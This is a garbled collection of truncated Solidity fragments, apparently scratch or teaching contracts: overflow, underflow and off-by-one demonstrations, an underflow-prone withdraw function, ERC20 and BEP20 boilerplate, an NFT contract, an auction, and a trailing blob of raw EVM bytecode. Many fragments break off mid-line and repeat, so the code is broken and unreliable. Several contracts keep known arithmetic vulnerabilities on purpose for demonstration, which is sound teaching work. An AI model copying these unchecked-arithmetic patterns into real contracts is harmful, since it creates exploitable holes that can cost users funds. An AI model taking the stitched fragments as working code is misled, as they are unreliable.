function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity 0.4.18;
// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256
// 1.Overflow Sample Test
// 1) Overflow_contract Deploy
// 2) max call -> 2**256-1
// 3) overflow() call -> overflow excute
// 4) max call -> 0
// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
// 2) zero call -> 0
// 3) underflow() call -> overflow excute
// 4) zero call -> 2**256-1
// 3. OBO Sample Test
//. 1) OffByOne_contract Deploy
// 2) getArr call -> [1, 1, 1, 1, 1]
// 3) offbyone call -> overflow excute
// 4) getArr call -> [0, 1, 2, 3, 4]
contract Overflow_contract {
uint public max = 2**256-1;
// max will end up at 0
function overflow() public {
max += 1;
}
}
contract Underflow_contract {
uint public zero = 0;
// zero will end up at 2**256-1
function underflow() public {
zero -= 1;
}
}
contract OffByOne_contract {
uint[] public arr = [1, 1
pragma solidity 0.4.18;
// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256
// 1.Overflow Sample Test
// 1) Overflow_contract Deploy
// 2) max call -> 2**256-1
// 3) overflow() call -> overflow excute
// 4) max call -> 0
// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
// 2) zero call -> 0
// 3) underflow() call -> overflow excute
// 4) zero call -> 2**256-1
contract Overflow_contract {
uint public max = 2**256-1;
// max will end up at 0
function overflow() public {
max += 1;
}
}
contract Underflow_contract {
uint public zero = 0;
// zero will end up at 2**256-1
function underflow() public {
zero -= 1;
}
}
contract OffByOne_contract {
uint[] public arr = [1, 1, 1, 1, 1];
function getArr() public view returns (uint[] memory) {
return arr;
}
function offbyone() public {
for(uint i = 0;i<arr.length;i++) {
pragma solidity 0.4.18;
// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256
// 1.Overflow Sample Test
// 1) Overflow_contract Deploy
// 2) max call -> 2**256-1
// 3) overflow() call -> overflow excute
// 4) max call -> 0
// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
// 2) zero call -> 0
// 3) underflow() call -> overflow excute
// 4) zero call -> 2**256-1
contract Overflow_contract {
uint public max = 2**256-1;
// max will end up at 0
function overflow() public {
max += 1;
}
}
contract Underflow_contract {
uint public zero = 0;
// zero will end up at 2**256-1
function underflow() public {
zero -= 1;
}
}
pragma solidity ^0.7.1;
contract VariableContract {
//State Variable
int public myStateVariable = 1;
function getLocalVariable() public pure returns (int) {
//Local Variable
int localVariable = 1;
return localVariable;
}
pragma solidity ^0.7.1;
contract VariableContract {
//State Variable
int public myStateVariable = 1;
function getLocalVariable() public pure returns (int) {
//Local Variable
int localVariable = 1;
return localVariable;
}
pragma solidity ^0.4.18;
contract VariableContract {
//State Variable
int public myStateVariable = 1;
function getLocalVariable() public pure returns (int) {
//Local Variable
int localVariable = 1;
return localVariable;
}
pragma solidity ^0.4.25;
contract contratoDeVentas {
address public propietario;
uint256 public fechaDeActualizacion;
string public descripcion;
uint public precio;
bool public aLaVenta = true;
string public estadoActual;
event eventoEstadoActual(string _msg, address user, uint amount, uint256 time);
constructor (string _descripcion, uint _precio) public payable {
propietario = msg.sender;
fechaDeActualizacion = block.timestamp;
descripcion = _descripcion;
precio = _precio;
emit eventoEstadoActual('Artículo a la venta:', msg.sender, msg.value, block.timestamp);
estadoActual = 'Artículo a la venta.';
}
function actualizarPrecio(uint _precio) public soloPropietario {
precio = _precio;
emit eventoEstadoActual('Precio actualizado', msg.sender, precio, block.timestamp);
estadoActual = 'Artículo a la venta.';
}
function modificarDescripcion (string memory _descripcion) public soloPropietario {
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.7.1;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract EyeNft is ERC721, Ownable {
using Strings for uint256;
using SafeMath for uint256;
using Counters for Counters.Counter;
constructor() ERC721("The Learn Collection", "TLC") {
}
string public baseExtension = ".json";
uint256 public cost = 0.1 ether;
uint256 public maxSupply = 1000;
uint256 public maxMintAmount = 10;
bool public saleIsActive = true;
Counters.Counter private _tokenIds;
// Low Res Base URI
string baseURI;
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function withdraw() public o
pragma solidity 0.7.0;
// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256
// 1.Overflow Sample Test
// 1) Overflow_contract Deploy
// 2) max call -> 2**256-1
// 3) overflow() call -> overflow excute
// 4) max call -> 0
// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
// 2) zero call -> 0
// 3) underflow() call -> overflow excute
// 4) zero call -> 2**256-1
contract Overflow_contract {
uint public max = 2**256-1;
// max will end up at 0
function overflow() public {
max += 1;
}
}
contract Underflow_contract {
uint public zero = 0;
// zero will end up at 2**256-1
function underflow() public {
zero -= 1%10;
}
}
contract Simulation {
uint256 public ibToken = 0;
//유저의 보유 토큰 0개
function withdraw(uint256 _data) public payable {
ibToken += _data;
}
pragma solidity >=0.4.22 <0.7.0;
contract SimpleAuction {
address payable public beneficiary;
uint public auctionEndTime;
address public highestBidder;
uint public highestBid;
mapping(address => uint) pendingReturns;
bool ended;
event HighestBidIncreased(address bidder, uint amount);
event AuctionEnded(address winner, uint amount);
constructor(
uint _biddingTime,
address payable _beneficiary
) public {
beneficiary = _beneficiary;
auctionEndTime = now + _biddingTime;
}
function bid() public payable {
require(
now <= auctionEndTime,
"Auction already ended."
);
require(
msg.value > highestBid,
"There already is a higher bid."
);
if (highestBid != 0) {
pendingReturns[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
emit HighestBidIncreased(msg.sender, msg.value)
pragma solidity 0.4.18;
contract Arithmetic_Test {
function withdraw(uint _amount) {
require(balances[msg.sender] - _amount > 0);
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
pragma solidity 0.4.18;
// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256
// Guidelines: Press "Create" to the right, then check the values of max and zero by clicking "Call"
// Then, call overflow and underflow and check the values of max and zero again
// Deploy
// 1.Overflow check
// 1) max call -> 2**256-1
// 2) overflow() call -> overflow excute
// 3) max call -> 0
// 2. Underflow check
// 1) zero call -> 0
// 2) underflow() call -> overflow excute
// 3) zero call -> 2**256-1
contract OverflowUnderFlow {
uint public zero = 0;
uint public max = 2**256-1;
// zero will end up at 2**256-1
function underflow() public {
zero -= 1;
}
// max will end up at 0
function overflow() public {
max += 1;
}
pragma solidity 0.4.18;
// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256
// Guidelines: Press "Create" to the right, then check the values of max and zero by clicking "Call"
// Then, call overflow and underflow and check the values of max and zero again
// 1.
contract OverflowUnderFlow {
uint public zero = 0;
uint public max = 2**256-1;
// zero will end up at 2**256-1
function underflow() public {
zero -= 1;
}
// max will end up at 0
function overflow() public {
max += 1;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;pragma solidity 0.5.16;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Tra
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library UInt256Extensions {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
uint32 internal constant day = 86400;
uint16 internal const
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract OverflowUnderFlowSafe {
using SafeMath for uint;
uint public zero = 0;
uint public max = 2**256-1;
// Will throw
function underflow() public {
zero = zer
pragma solidity 0.4.18;
// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256
// Guidelines: Press "Create" to the right, then check the values of max and zero by clicking "Call"
// Then, call overflow and underflow and check the values of max and zero again
contract OverflowUnderFlow {
uint public zero = 0;
uint public max = 2**256-1;
// zero will end up at 2**256-1
function underflow() public {
zero -= 1;
}
// max will end up at 0
function overflow() public {
max += 1;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract VolatilityAmount {
function _volatililtyAmountToSwap(
uint256 _maxAmount,
uint256 _leverageBalance,
uint256 _iLeverageBalance,
uint256 _fee
) private pure returns (uint256 swapAmount) {
uint256 B = (_leverageBalance + _mul(_iLeverageBalance, (BONE - _fee)) - _mul(_maxAmount, (BONE - _fee)));
uint256 numerator = ABDKMathQuad.toUInt(
ABDKMathQuad.sqrt(
ABDKMathQuad.fromUInt(
(B * B) + 4 * (BONE - _fee) * _iLeverageBalance * _maxAmount
)
)
) - B;
swapAmount = numerator / (2 * (BONE - _fee));
}
function getSwappedAssetAmount(
address _tokenIn,
uint256 _maxAmountIn,
IVolmexPool _pool
)
external
view
returns (
uint256 swapAmount,
uint256 amountOut,
uint256
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
struct LockedBalance {
uint32 expiration;
uint96 totalAmount;
}
/// @dev Tracks an account's info.
struct AccountInfo {
/// @dev The amount of ETH which has been unlocked already.
uint128 freedBalance;
/// @dev The first applicable lockup bucket for this account.
uint128 lockupStartIndex;
/// @dev Stores up to 25 buckets of locked balance for a user, one per hour.
mapping(uint256 => uint256) lockups;
/// @dev Returns the amount which a spender is still allowed to withdraw from this account.
mapping(address => uint256) allowance;
}
/// @dev Stores per-account details.
mapping(uint256 => AccountInfo) private accountToInfo;
function set(uint256 key, uint256 lockupStartIndex, uint32 expiration,
uint96 totalAmount) public {
setLockedBalance(accountToInfo[key], lockupStartIndex, expiration, totalAmount);
}
fu
state= {}
activate-form = (store)->
export wait-form-result = (id, cb)->
activate-form!
state[id] = cb
export notify-form-result = (id, err, data)->
return if typeof! state[id] isnt \Function
state[id] err, data
delete state[id
pragma solidity ^0.4.26;
contract ERC20 {
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _permitNonces;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bytes32 public DOMAIN_SEPARATOR;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
DOMAIN_SEPARATOR = makeDomainSeparator(name_, "1", 1);
}
function decimals() public pure returns (uint8) {
return 18;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
func
pragma solidity ^0.4.26;
contract ERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
function decimals() public pure returns (uint8) {
return 18;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][s
pragma solidity ^0.4.25;
contract ERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
function decimals() public pure returns (uint8) {
return 18;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][s
contract ERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_app
608060405234801561001057600080fd5b50600436106102065760003560e01c806383b5ff8b1161011a578063a07aea1c116100ad578063d365a3771161007c578063d365a3771461042c578063d67eb0b51461043f578063e28d490614610452578063f38b2db514610465578063f851a4401461047857610206565b8063a07aea1c146103dd578063ae500b7c146103f0578063b78275c914610411578063d10c7d1e1461041957610206565b806392ba8114116100e957806392ba81141461038e57806396b5a755146103af5780639a202d47146103c25780639a307391146103ca57610206565b806383b5ff8b146103585780638456cb591461036057806389476069146103685780638f2839701461037b57610206565b806344f91c1e1161019d5780637362377b1161016c5780637362377b146102f757806375640815146102ff578063757de5731461031257806377ae0b83146103255780637a4316621461033857610206565b806344f91c1e146102a957806345496ed9146102c95780634d51bfc4146102dc5780635c975abb146102ef57610206565b80633bd63ba2116101d95780633bd63ba2146102665780633f0a0797146102795780633f4ba83a1461028e57806344e290b21461029657610206565b80630622a3881461020b5780630b83021814610229578063158ef93e1461023e57806330ffb6